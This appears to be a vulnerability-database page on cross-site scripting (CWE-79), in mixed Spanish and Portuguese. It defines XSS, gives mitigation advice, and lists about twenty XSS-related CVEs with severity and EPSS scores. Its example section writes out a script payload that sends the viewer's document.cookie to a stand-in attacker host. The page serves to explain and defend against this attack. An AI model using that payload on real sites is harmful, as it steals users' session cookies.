Fallos del tipo CWE-79

28.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2017-12254—A vulnerability in the web interface of Cisco Unified Intelligence Center could allow an unauthenticated, remote attacker to perform a DocumEPSS 2.3%CVE-2018-6333CRITICALThe hhvm-attach deep link handler in Nuclide did not properly sanitize the provided hostname parameter when rendering. As a result, a maliciEPSS 2.3%CVE-2021-36737—XSS in V3 Demo PortletEPSS 2.3%CVE-2021-36739MEDIUMXSS vulnerability in the MVCBean JSP portlet maven archetypeEPSS 2.3%CVE-2021-36738—XSS vulnerability in the JSP version of the Apache Pluto Applicant MVCBean CDI portletEPSS 2.3%CVE-2021-39320MEDIUMunderConstruction <= 1.18 - Reflected Cross-Site ScriptingEPSS 2.3%CVE-2024-52803HIGHLLama Factory Remote OS Command Injection VulnerabilityEPSS 2.3%CVE-2021-24444—TaxoPress < 3.0.7.2 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 2.3%CVE-2021-34640MEDIUMSecurimage-WP-Fixed <= 3.5.4 Reflected Cross-Site ScriptingEPSS 2.3%CVE-2018-10609—Martem TELEM GW6 and GWM devices with firmware 2018.04.18-linux_4-01-601cb47 and prior allow improper sanitization of data over a Websocket EPSS 2.3%CVE-2022-0212—SpiderCalendar <= 1.5.65 - Reflected Cross-Site ScriptingEPSS 2.3%CVE-2021-25078—Affiliates Manager < 2.9.0 - Unauthenticated Stored Cross-Site ScriptingEPSS 2.3%CVE-2017-15092—A cross-site scripting issue has been found in the web interface of PowerDNS Recursor from 4.0.0 up to and including 4.0.6, where the qname EPSS 2.3%CVE-2022-0678MEDIUMCross-site Scripting (XSS) - Reflected in microweber/microweberEPSS 2.3%CVE-2023-48728CRITICALA cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master comEPSS 2.3%CVE-2023-3184LOWSourceCodester Sales Tracker Management System cross site scriptingEPSS 2.3%CVE-2023-38333MEDIUMZoho ManageEngine Applications Manager through 16530 allows reflected XSS while logged in.EPSS 2.3%CVE-2023-42627CRITICALMultiple stored cross-site scripting (XSS) vulnerabilities in the Commerce module in Liferay Portal 7.3.5 through 7.4.3.91, and Liferay DXP EPSS 2.3%CVE-2021-25008—Code Snippets < 2.14.3 - Reflected Cross-Site ScriptingEPSS 2.3%CVE-2018-8568MEDIUMAn elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request tEPSS 2.3%